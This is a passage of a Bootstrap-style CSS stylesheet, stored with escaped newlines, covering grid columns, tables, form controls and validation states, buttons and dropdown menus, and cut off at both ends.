max-width: 75%;\n  }\n  .col-xl-10 {\n    -ms-flex: 0 0 83.333333%;\n        flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-xl-11 {\n    -ms-flex: 0 0 91.666667%;\n        flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-xl-12 {\n    -ms-flex: 0 0 100%;\n        flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-xl-1 {\n    -ms-flex-order: 1;\n        order: 1;\n  }\n  .order-xl-2 {\n    -ms-flex-order: 2;\n        order: 2;\n  }\n  .order-xl-3 {\n    -ms-flex-order: 3;\n        order: 3;\n  }\n  .order-xl-4 {\n    -ms-flex-order: 4;\n        order: 4;\n  }\n  .order-xl-5 {\n    -ms-flex-order: 5;\n        order: 5;\n  }\n  .order-xl-6 {\n    -ms-flex-order: 6;\n        order: 6;\n  }\n  .order-xl-7 {\n    -ms-flex-order: 7;\n        order: 7;\n  }\n  .order-xl-8 {\n    -ms-flex-order: 8;\n        order: 8;\n  }\n  .order-xl-9 {\n    -ms-flex-order: 9;\n        order: 9;\n  }\n  .order-xl-10 {\n    -ms-flex-order: 10;\n        order: 10;\n  }\n  .order-xl-11 {\n    -ms-flex-order: 11;\n        order: 11;\n  }\n  .order-xl-12 {\n    -ms-flex-order: 12;\n        order: 12;\n  }\n}\n\n.table {\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: 1rem;\n  background-color: transparent;\n}\n\n.table th,\n.table td {\n  padding: 0.75rem;\n  vertical-align: top;\n  border-top: 1px solid #e9ecef;\n}\n\n.table thead th {\n  vertical-align: bottom;\n  border-bottom: 2px solid #e9ecef;\n}\n\n.table tbody + tbody {\n  border-top: 2px solid #e9ecef;\n}\n\n.table .table {\n  background-color: #fff;\n}\n\n.table-sm th,\n.table-sm td {\n  padding: 0.3rem;\n}\n\n.table-bordered {\n  border: 1px solid #e9ecef;\n}\n\n.table-bordered th,\n.table-bordered td {\n  border: 1px solid #e9ecef;\n}\n\n.table-bordered thead th,\n.table-bordered thead td {\n  border-bottom-width: 2px;\n}\n\n.table-striped tbody tr:nth-of-type(odd) {\n  background-color: rgba(0, 0, 0, 0.05);\n}\n\n.table-hover tbody tr:hover {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-primary,\n.table-primary > th,\n.table-primary > td {\n  background-color: #b8daff;\n}\n\n.table-hover .table-primary:hover {\n  background-color: #9fcdff;\n}\n\n.table-hover .table-primary:hover > td,\n.table-hover .table-primary:hover > th {\n  background-color: #9fcdff;\n}\n\n.table-secondary,\n.table-secondary > th,\n.table-secondary > td {\n  background-color: #dddfe2;\n}\n\n.table-hover .table-secondary:hover {\n  background-color: #cfd2d6;\n}\n\n.table-hover .table-secondary:hover > td,\n.table-hover .table-secondary:hover > th {\n  background-color: #cfd2d6;\n}\n\n.table-success,\n.table-success > th,\n.table-success > td {\n  background-color: #c3e6cb;\n}\n\n.table-hover .table-success:hover {\n  background-color: #b1dfbb;\n}\n\n.table-hover .table-success:hover > td,\n.table-hover .table-success:hover > th {\n  background-color: #b1dfbb;\n}\n\n.table-info,\n.table-info > th,\n.table-info > td {\n  background-color: #bee5eb;\n}\n\n.table-hover .table-info:hover {\n  background-color: #abdde5;\n}\n\n.table-hover .table-info:hover > td,\n.table-hover .table-info:hover > th {\n  background-color: #abdde5;\n}\n\n.table-warning,\n.table-warning > th,\n.table-warning > td {\n  background-color: #ffeeba;\n}\n\n.table-hover .table-warning:hover {\n  background-color: #ffe8a1;\n}\n\n.table-hover .table-warning:hover > td,\n.table-hover .table-warning:hover > th {\n  background-color: #ffe8a1;\n}\n\n.table-danger,\n.table-danger > th,\n.table-danger > td {\n  background-color: #f5c6cb;\n}\n\n.table-hover .table-danger:hover {\n  background-color: #f1b0b7;\n}\n\n.table-hover .table-danger:hover > td,\n.table-hover .table-danger:hover > th {\n  background-color: #f1b0b7;\n}\n\n.table-light,\n.table-light > th,\n.table-light > td {\n  background-color: #fdfdfe;\n}\n\n.table-hover .table-light:hover {\n  background-color: #ececf6;\n}\n\n.table-hover .table-light:hover > td,\n.table-hover .table-light:hover > th {\n  background-color: #ececf6;\n}\n\n.table-dark,\n.table-dark > th,\n.table-dark > td {\n  background-color: #c6c8ca;\n}\n\n.table-hover .table-dark:hover {\n  background-color: #b9bbbe;\n}\n\n.table-hover .table-dark:hover > td,\n.table-hover .table-dark:hover > th {\n  background-color: #b9bbbe;\n}\n\n.table-active,\n.table-active > th,\n.table-active > td {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover > td,\n.table-hover .table-active:hover > th {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.thead-inverse th {\n  color: #fff;\n  background-color: #212529;\n}\n\n.thead-default th {\n  color: #495057;\n  background-color: #e9ecef;\n}\n\n.table-inverse {\n  color: #fff;\n  background-color: #212529;\n}\n\n.table-inverse th,\n.table-inverse td,\n.table-inverse thead th {\n  border-color: #32383e;\n}\n\n.table-inverse.table-bordered {\n  border: 0;\n}\n\n.table-inverse.table-striped tbody tr:nth-of-type(odd) {\n  background-color: rgba(255, 255, 255, 0.05);\n}\n\n.table-inverse.table-hover tbody tr:hover {\n  background-color: rgba(255, 255, 255, 0.075);\n}\n\n@media (max-width: 991px) {\n  .table-responsive {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive.table-bordered {\n    border: 0;\n  }\n}\n\n.form-control {\n  display: block;\n  width: 100%;\n  padding: 0.5rem 0.75rem;\n  font-size: 1rem;\n  line-height: 1.25;\n  color: #495057;\n  background-color: #fff;\n  background-image: none;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  border-radius: 0.25rem;\n  transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;\n}\n\n.form-control::-ms-expand {\n  background-color: transparent;\n  border: 0;\n}\n\n.form-control:focus {\n  color: #495057;\n  background-color: #fff;\n  border-color: #80bdff;\n  outline: none;\n}\n\n.form-control::-webkit-input-placeholder {\n  color: #868e96;\n  opacity: 1;\n}\n\n.form-control:-ms-input-placeholder {\n  color: #868e96;\n  opacity: 1;\n}\n\n.form-control::placeholder {\n  color: #868e96;\n  opacity: 1;\n}\n\n.form-control:disabled, .form-control[readonly] {\n  background-color: #e9ecef;\n  opacity: 1;\n}\n\nselect.form-control:not([size]):not([multiple]) {\n  height: calc(2.25rem + 2px);\n}\n\nselect.form-control:focus::-ms-value {\n  color: #495057;\n  background-color: #fff;\n}\n\n.form-control-file,\n.form-control-range {\n  display: block;\n}\n\n.col-form-label {\n  padding-top: calc(0.5rem - 1px * 2);\n  padding-bottom: calc(0.5rem - 1px * 2);\n  margin-bottom: 0;\n}\n\n.col-form-label-lg {\n  padding-top: calc(0.5rem - 1px * 2);\n  padding-bottom: calc(0.5rem - 1px * 2);\n  font-size: 1.25rem;\n}\n\n.col-form-label-sm {\n  padding-top: calc(0.25rem - 1px * 2);\n  padding-bottom: calc(0.25rem - 1px * 2);\n  font-size: 0.875rem;\n}\n\n.col-form-legend {\n  padding-top: 0.5rem;\n  padding-bottom: 0.5rem;\n  margin-bottom: 0;\n  font-size: 1rem;\n}\n\n.form-control-plaintext {\n  padding-top: 0.5rem;\n  padding-bottom: 0.5rem;\n  margin-bottom: 0;\n  line-height: 1.25;\n  border: solid transparent;\n  border-width: 1px 0;\n}\n\n.form-control-plaintext.form-control-sm, .input-group-sm > .form-control-plaintext.form-control,\n.input-group-sm > .form-control-plaintext.input-group-addon,\n.input-group-sm > .input-group-btn > .form-control-plaintext.btn, .form-control-plaintext.form-control-lg, .input-group-lg > .form-control-plaintext.form-control,\n.input-group-lg > .form-control-plaintext.input-group-addon,\n.input-group-lg > .input-group-btn > .form-control-plaintext.btn {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.form-control-sm, .input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n  border-radius: 0.2rem;\n}\n\nselect.form-control-sm:not([size]):not([multiple]), .input-group-sm > select.form-control:not([size]):not([multiple]),\n.input-group-sm > select.input-group-addon:not([size]):not([multiple]),\n.input-group-sm > .input-group-btn > select.btn:not([size]):not([multiple]) {\n  height: calc(1.8125rem + 2px);\n}\n\n.form-control-lg, .input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n  padding: 0.5rem 1rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n  border-radius: 0.3rem;\n}\n\nselect.form-control-lg:not([size]):not([multiple]), .input-group-lg > select.form-control:not([size]):not([multiple]),\n.input-group-lg > select.input-group-addon:not([size]):not([multiple]),\n.input-group-lg > .input-group-btn > select.btn:not([size]):not([multiple]) {\n  height: calc(2.3125rem + 2px);\n}\n\n.form-group {\n  margin-bottom: 1rem;\n}\n\n.form-text {\n  display: block;\n  margin-top: 0.25rem;\n}\n\n.form-row {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  margin-right: -5px;\n  margin-left: -5px;\n}\n\n.form-row > .col,\n.form-row > [class*=\"col-\"] {\n  padding-right: 5px;\n  padding-left: 5px;\n}\n\n.form-check {\n  position: relative;\n  display: block;\n  margin-bottom: 0.5rem;\n}\n\n.form-check.disabled .form-check-label {\n  color: #868e96;\n}\n\n.form-check-label {\n  padding-left: 1.25rem;\n  margin-bottom: 0;\n}\n\n.form-check-input {\n  position: absolute;\n  margin-top: 0.25rem;\n  margin-left: -1.25rem;\n}\n\n.form-check-input:only-child {\n  position: static;\n}\n\n.form-check-inline {\n  display: inline-block;\n}\n\n.form-check-inline .form-check-label {\n  vertical-align: middle;\n}\n\n.form-check-inline + .form-check-inline {\n  margin-left: 0.75rem;\n}\n\n.invalid-feedback {\n  display: none;\n  margin-top: .25rem;\n  font-size: .875rem;\n  color: #dc3545;\n}\n\n.invalid-tooltip {\n  position: absolute;\n  top: 100%;\n  z-index: 5;\n  display: none;\n  width: 250px;\n  padding: .5rem;\n  margin-top: .1rem;\n  font-size: .875rem;\n  line-height: 1;\n  color: #fff;\n  background-color: rgba(220, 53, 69, 0.8);\n  border-radius: .2rem;\n}\n\n.was-validated .form-control:valid, .form-control.is-valid, .was-validated\n.custom-select:valid,\n.custom-select.is-valid {\n  border-color: #28a745;\n}\n\n.was-validated .form-control:valid:focus, .form-control.is-valid:focus, .was-validated\n.custom-select:valid:focus,\n.custom-select.is-valid:focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .form-control:valid ~ .invalid-feedback,\n.was-validated .form-control:valid ~ .invalid-tooltip, .form-control.is-valid ~ .invalid-feedback,\n.form-control.is-valid ~ .invalid-tooltip, .was-validated\n.custom-select:valid ~ .invalid-feedback,\n.was-validated\n.custom-select:valid ~ .invalid-tooltip,\n.custom-select.is-valid ~ .invalid-feedback,\n.custom-select.is-valid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .form-check-input:valid + .form-check-label, .form-check-input.is-valid + .form-check-label {\n  color: #28a745;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-indicator, .custom-control-input.is-valid ~ .custom-control-indicator {\n  background-color: rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-description, .custom-control-input.is-valid ~ .custom-control-description {\n  color: #28a745;\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-control, .custom-file-input.is-valid ~ .custom-file-control {\n  border-color: #28a745;\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-control::before, .custom-file-input.is-valid ~ .custom-file-control::before {\n  border-color: inherit;\n}\n\n.was-validated .custom-file-input:valid:focus, .custom-file-input.is-valid:focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .form-control:invalid, .form-control.is-invalid, .was-validated\n.custom-select:invalid,\n.custom-select.is-invalid {\n  border-color: #dc3545;\n}\n\n.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus, .was-validated\n.custom-select:invalid:focus,\n.custom-select.is-invalid:focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .form-control:invalid ~ .invalid-feedback,\n.was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback,\n.form-control.is-invalid ~ .invalid-tooltip, .was-validated\n.custom-select:invalid ~ .invalid-feedback,\n.was-validated\n.custom-select:invalid ~ .invalid-tooltip,\n.custom-select.is-invalid ~ .invalid-feedback,\n.custom-select.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .form-check-input:invalid + .form-check-label, .form-check-input.is-invalid + .form-check-label {\n  color: #dc3545;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-indicator, .custom-control-input.is-invalid ~ .custom-control-indicator {\n  background-color: rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-description, .custom-control-input.is-invalid ~ .custom-control-description {\n  color: #dc3545;\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-control, .custom-file-input.is-invalid ~ .custom-file-control {\n  border-color: #dc3545;\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-control::before, .custom-file-input.is-invalid ~ .custom-file-control::before {\n  border-color: inherit;\n}\n\n.was-validated .custom-file-input:invalid:focus, .custom-file-input.is-invalid:focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.form-inline {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-flow: row wrap;\n      flex-flow: row wrap;\n  -ms-flex-align: center;\n      align-items: center;\n}\n\n.form-inline .form-check {\n  width: 100%;\n}\n\n@media (min-width: 576px) {\n  .form-inline label {\n    display: -ms-flexbox;\n    display: flex;\n    -ms-flex-align: center;\n        align-items: center;\n    -ms-flex-pack: center;\n        justify-content: center;\n    margin-bottom: 0;\n  }\n  .form-inline .form-group {\n    display: -ms-flexbox;\n    display: flex;\n    -ms-flex: 0 0 auto;\n        flex: 0 0 auto;\n    -ms-flex-flow: row wrap;\n        flex-flow: row wrap;\n    -ms-flex-align: center;\n        align-items: center;\n    margin-bottom: 0;\n  }\n  .form-inline .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .form-inline .form-control-plaintext {\n    display: inline-block;\n  }\n  .form-inline .input-group {\n    width: auto;\n  }\n  .form-inline .form-control-label {\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .form-check {\n    display: -ms-flexbox;\n    display: flex;\n    -ms-flex-align: center;\n        align-items: center;\n    -ms-flex-pack: center;\n        justify-content: center;\n    width: auto;\n    margin-top: 0;\n    margin-bottom: 0;\n  }\n  .form-inline .form-check-label {\n    padding-left: 0;\n  }\n  .form-inline .form-check-input {\n    position: relative;\n    margin-top: 0;\n    margin-right: 0.25rem;\n    margin-left: 0;\n  }\n  .form-inline .custom-control {\n    display: -ms-flexbox;\n    display: flex;\n    -ms-flex-align: center;\n        align-items: center;\n    -ms-flex-pack: center;\n        justify-content: center;\n    padding-left: 0;\n  }\n  .form-inline .custom-control-indicator {\n    position: static;\n    display: inline-block;\n    margin-right: 0.25rem;\n    vertical-align: text-bottom;\n  }\n  .form-inline .has-feedback .form-control-feedback {\n    top: 0;\n  }\n}\n\n.btn {\n  display: inline-block;\n  font-weight: normal;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  border: 1px solid transparent;\n  padding: 0.5rem 0.75rem;\n  font-size: 1rem;\n  line-height: 1.25;\n  border-radius: 0.25rem;\n  transition: all 0.15s ease-in-out;\n}\n\n.btn:focus, .btn:hover {\n  text-decoration: none;\n}\n\n.btn:focus, .btn.focus {\n  outline: 0;\n  box-shadow: 0 0 0 3px rgba(0, 123, 255, 0.25);\n}\n\n.btn.disabled, .btn:disabled {\n  opacity: .65;\n}\n\n.btn:active, .btn.active {\n  background-image: none;\n}\n\na.btn.disabled,\nfieldset[disabled] a.btn {\n  pointer-events: none;\n}\n\n.btn-primary {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-primary:hover {\n  color: #fff;\n  background-color: #0069d9;\n  border-color: #0062cc;\n}\n\n.btn-primary:focus, .btn-primary.focus {\n  box-shadow: 0 0 0 3px rgba(0, 123, 255, 0.5);\n}\n\n.btn-primary.disabled, .btn-primary:disabled {\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-primary:active, .btn-primary.active,\n.show > .btn-primary.dropdown-toggle {\n  background-color: #0069d9;\n  background-image: none;\n  border-color: #0062cc;\n}\n\n.btn-secondary {\n  color: #fff;\n  background-color: #868e96;\n  border-color: #868e96;\n}\n\n.btn-secondary:hover {\n  color: #fff;\n  background-color: #727b84;\n  border-color: #6c757d;\n}\n\n.btn-secondary:focus, .btn-secondary.focus {\n  box-shadow: 0 0 0 3px rgba(134, 142, 150, 0.5);\n}\n\n.btn-secondary.disabled, .btn-secondary:disabled {\n  background-color: #868e96;\n  border-color: #868e96;\n}\n\n.btn-secondary:active, .btn-secondary.active,\n.show > .btn-secondary.dropdown-toggle {\n  background-color: #727b84;\n  background-image: none;\n  border-color: #6c757d;\n}\n\n.btn-success {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-success:hover {\n  color: #fff;\n  background-color: #218838;\n  border-color: #1e7e34;\n}\n\n.btn-success:focus, .btn-success.focus {\n  box-shadow: 0 0 0 3px rgba(40, 167, 69, 0.5);\n}\n\n.btn-success.disabled, .btn-success:disabled {\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-success:active, .btn-success.active,\n.show > .btn-success.dropdown-toggle {\n  background-color: #218838;\n  background-image: none;\n  border-color: #1e7e34;\n}\n\n.btn-info {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-info:hover {\n  color: #fff;\n  background-color: #138496;\n  border-color: #117a8b;\n}\n\n.btn-info:focus, .btn-info.focus {\n  box-shadow: 0 0 0 3px rgba(23, 162, 184, 0.5);\n}\n\n.btn-info.disabled, .btn-info:disabled {\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-info:active, .btn-info.active,\n.show > .btn-info.dropdown-toggle {\n  background-color: #138496;\n  background-image: none;\n  border-color: #117a8b;\n}\n\n.btn-warning {\n  color: #111;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-warning:hover {\n  color: #111;\n  background-color: #e0a800;\n  border-color: #d39e00;\n}\n\n.btn-warning:focus, .btn-warning.focus {\n  box-shadow: 0 0 0 3px rgba(255, 193, 7, 0.5);\n}\n\n.btn-warning.disabled, .btn-warning:disabled {\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-warning:active, .btn-warning.active,\n.show > .btn-warning.dropdown-toggle {\n  background-color: #e0a800;\n  background-image: none;\n  border-color: #d39e00;\n}\n\n.btn-danger {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-danger:hover {\n  color: #fff;\n  background-color: #c82333;\n  border-color: #bd2130;\n}\n\n.btn-danger:focus, .btn-danger.focus {\n  box-shadow: 0 0 0 3px rgba(220, 53, 69, 0.5);\n}\n\n.btn-danger.disabled, .btn-danger:disabled {\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-danger:active, .btn-danger.active,\n.show > .btn-danger.dropdown-toggle {\n  background-color: #c82333;\n  background-image: none;\n  border-color: #bd2130;\n}\n\n.btn-light {\n  color: #111;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-light:hover {\n  color: #111;\n  background-color: #e2e6ea;\n  border-color: #dae0e5;\n}\n\n.btn-light:focus, .btn-light.focus {\n  box-shadow: 0 0 0 3px rgba(248, 249, 250, 0.5);\n}\n\n.btn-light.disabled, .btn-light:disabled {\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-light:active, .btn-light.active,\n.show > .btn-light.dropdown-toggle {\n  background-color: #e2e6ea;\n  background-image: none;\n  border-color: #dae0e5;\n}\n\n.btn-dark {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-dark:hover {\n  color: #fff;\n  background-color: #23272b;\n  border-color: #1d2124;\n}\n\n.btn-dark:focus, .btn-dark.focus {\n  box-shadow: 0 0 0 3px rgba(52, 58, 64, 0.5);\n}\n\n.btn-dark.disabled, .btn-dark:disabled {\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-dark:active, .btn-dark.active,\n.show > .btn-dark.dropdown-toggle {\n  background-color: #23272b;\n  background-image: none;\n  border-color: #1d2124;\n}\n\n.btn-outline-primary {\n  color: #007bff;\n  background-color: transparent;\n  background-image: none;\n  border-color: #007bff;\n}\n\n.btn-outline-primary:hover {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-outline-primary:focus, .btn-outline-primary.focus {\n  box-shadow: 0 0 0 3px rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-primary.disabled, .btn-outline-primary:disabled {\n  color: #007bff;\n  background-color: transparent;\n}\n\n.btn-outline-primary:active, .btn-outline-primary.active,\n.show > .btn-outline-primary.dropdown-toggle {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-outline-secondary {\n  color: #868e96;\n  background-color: transparent;\n  background-image: none;\n  border-color: #868e96;\n}\n\n.btn-outline-secondary:hover {\n  color: #fff;\n  background-color: #868e96;\n  border-color: #868e96;\n}\n\n.btn-outline-secondary:focus, .btn-outline-secondary.focus {\n  box-shadow: 0 0 0 3px rgba(134, 142, 150, 0.5);\n}\n\n.btn-outline-secondary.disabled, .btn-outline-secondary:disabled {\n  color: #868e96;\n  background-color: transparent;\n}\n\n.btn-outline-secondary:active, .btn-outline-secondary.active,\n.show > .btn-outline-secondary.dropdown-toggle {\n  color: #fff;\n  background-color: #868e96;\n  border-color: #868e96;\n}\n\n.btn-outline-success {\n  color: #28a745;\n  background-color: transparent;\n  background-image: none;\n  border-color: #28a745;\n}\n\n.btn-outline-success:hover {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-outline-success:focus, .btn-outline-success.focus {\n  box-shadow: 0 0 0 3px rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-success.disabled, .btn-outline-success:disabled {\n  color: #28a745;\n  background-color: transparent;\n}\n\n.btn-outline-success:active, .btn-outline-success.active,\n.show > .btn-outline-success.dropdown-toggle {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-outline-info {\n  color: #17a2b8;\n  background-color: transparent;\n  background-image: none;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:hover {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:focus, .btn-outline-info.focus {\n  box-shadow: 0 0 0 3px rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-info.disabled, .btn-outline-info:disabled {\n  color: #17a2b8;\n  background-color: transparent;\n}\n\n.btn-outline-info:active, .btn-outline-info.active,\n.show > .btn-outline-info.dropdown-toggle {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-outline-warning {\n  color: #ffc107;\n  background-color: transparent;\n  background-image: none;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:hover {\n  color: #fff;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:focus, .btn-outline-warning.focus {\n  box-shadow: 0 0 0 3px rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-warning.disabled, .btn-outline-warning:disabled {\n  color: #ffc107;\n  background-color: transparent;\n}\n\n.btn-outline-warning:active, .btn-outline-warning.active,\n.show > .btn-outline-warning.dropdown-toggle {\n  color: #fff;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-outline-danger {\n  color: #dc3545;\n  background-color: transparent;\n  background-image: none;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:hover {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:focus, .btn-outline-danger.focus {\n  box-shadow: 0 0 0 3px rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-danger.disabled, .btn-outline-danger:disabled {\n  color: #dc3545;\n  background-color: transparent;\n}\n\n.btn-outline-danger:active, .btn-outline-danger.active,\n.show > .btn-outline-danger.dropdown-toggle {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-outline-light {\n  color: #f8f9fa;\n  background-color: transparent;\n  background-image: none;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:hover {\n  color: #fff;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:focus, .btn-outline-light.focus {\n  box-shadow: 0 0 0 3px rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-light.disabled, .btn-outline-light:disabled {\n  color: #f8f9fa;\n  background-color: transparent;\n}\n\n.btn-outline-light:active, .btn-outline-light.active,\n.show > .btn-outline-light.dropdown-toggle {\n  color: #fff;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-dark {\n  color: #343a40;\n  background-color: transparent;\n  background-image: none;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:hover {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:focus, .btn-outline-dark.focus {\n  box-shadow: 0 0 0 3px rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-dark.disabled, .btn-outline-dark:disabled {\n  color: #343a40;\n  background-color: transparent;\n}\n\n.btn-outline-dark:active, .btn-outline-dark.active,\n.show > .btn-outline-dark.dropdown-toggle {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-link {\n  font-weight: normal;\n  color: #007bff;\n  border-radius: 0;\n}\n\n.btn-link, .btn-link:active, .btn-link.active, .btn-link:disabled {\n  background-color: transparent;\n}\n\n.btn-link, .btn-link:focus, .btn-link:active {\n  border-color: transparent;\n  box-shadow: none;\n}\n\n.btn-link:hover {\n  border-color: transparent;\n}\n\n.btn-link:focus, .btn-link:hover {\n  color: #0056b3;\n  text-decoration: underline;\n  background-color: transparent;\n}\n\n.btn-link:disabled {\n  color: #868e96;\n}\n\n.btn-link:disabled:focus, .btn-link:disabled:hover {\n  text-decoration: none;\n}\n\n.btn-lg, .btn-group-lg > .btn {\n  padding: 0.5rem 1rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n  border-radius: 0.3rem;\n}\n\n.btn-sm, .btn-group-sm > .btn {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n  border-radius: 0.2rem;\n}\n\n.btn-block {\n  display: block;\n  width: 100%;\n}\n\n.btn-block + .btn-block {\n  margin-top: 0.5rem;\n}\n\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n\n.fade {\n  opacity: 0;\n  transition: opacity 0.15s linear;\n}\n\n.fade.show {\n  opacity: 1;\n}\n\n.collapse {\n  display: none;\n}\n\n.collapse.show {\n  display: block;\n}\n\ntr.collapse.show {\n  display: table-row;\n}\n\ntbody.collapse.show {\n  display: table-row-group;\n}\n\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  transition: height 0.35s ease;\n}\n\n.dropup,\n.dropdown {\n  position: relative;\n}\n\n.dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid;\n  border-right: 0.3em solid transparent;\n  border-left: 0.3em solid transparent;\n}\n\n.dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropup .dropdown-menu {\n  margin-top: 0;\n  margin-bottom: 0.125rem;\n}\n\n.dropup .dropdown-toggle::after {\n  border-top: 0;\n  border-bottom: 0.3em solid;\n}\n\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 10rem;\n  padding: 0.5rem 0;\n  margin: 0.125rem 0 0;\n  font-size: 1rem;\n  color: #212529;\n  text-align: left;\n  list-style: none;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  border-radius: 0.25rem;\n}\n\n.dropdown-divider {\n  height: 0;\n  margin: 0.5rem 0;\n  overflow: hidden;\n  border-top: 1px solid #e9ecef;\n}\n\n.dropdown-item {\n  display: block;\n  width: 100%;\n  padding: 0.25rem 1.5rem;\n  clear: both;\n  font-weight: normal;\n  color: #212529;\n  text-align: inherit;\n  white-space: nowrap;\n  background: none;\n  border: 0;\n}\n\n.dropdown-item:focus, .dropdown-item:hover {\n  color: #16181b;\n  text-decoration: none;\n  background-color: #f8f9fa;\n}\n\n.dropdown-item.active, .dropdown-item:active {\n  color: #fff;\n  text-decoration: none;\n  background-color: #007bff;\n}\n\n.dropdown-item.disabled, .dropdown-item:disabled {\n  color: #868e96;\n  background-color: transparent;\n}\n\n.show > a {\n  outline: 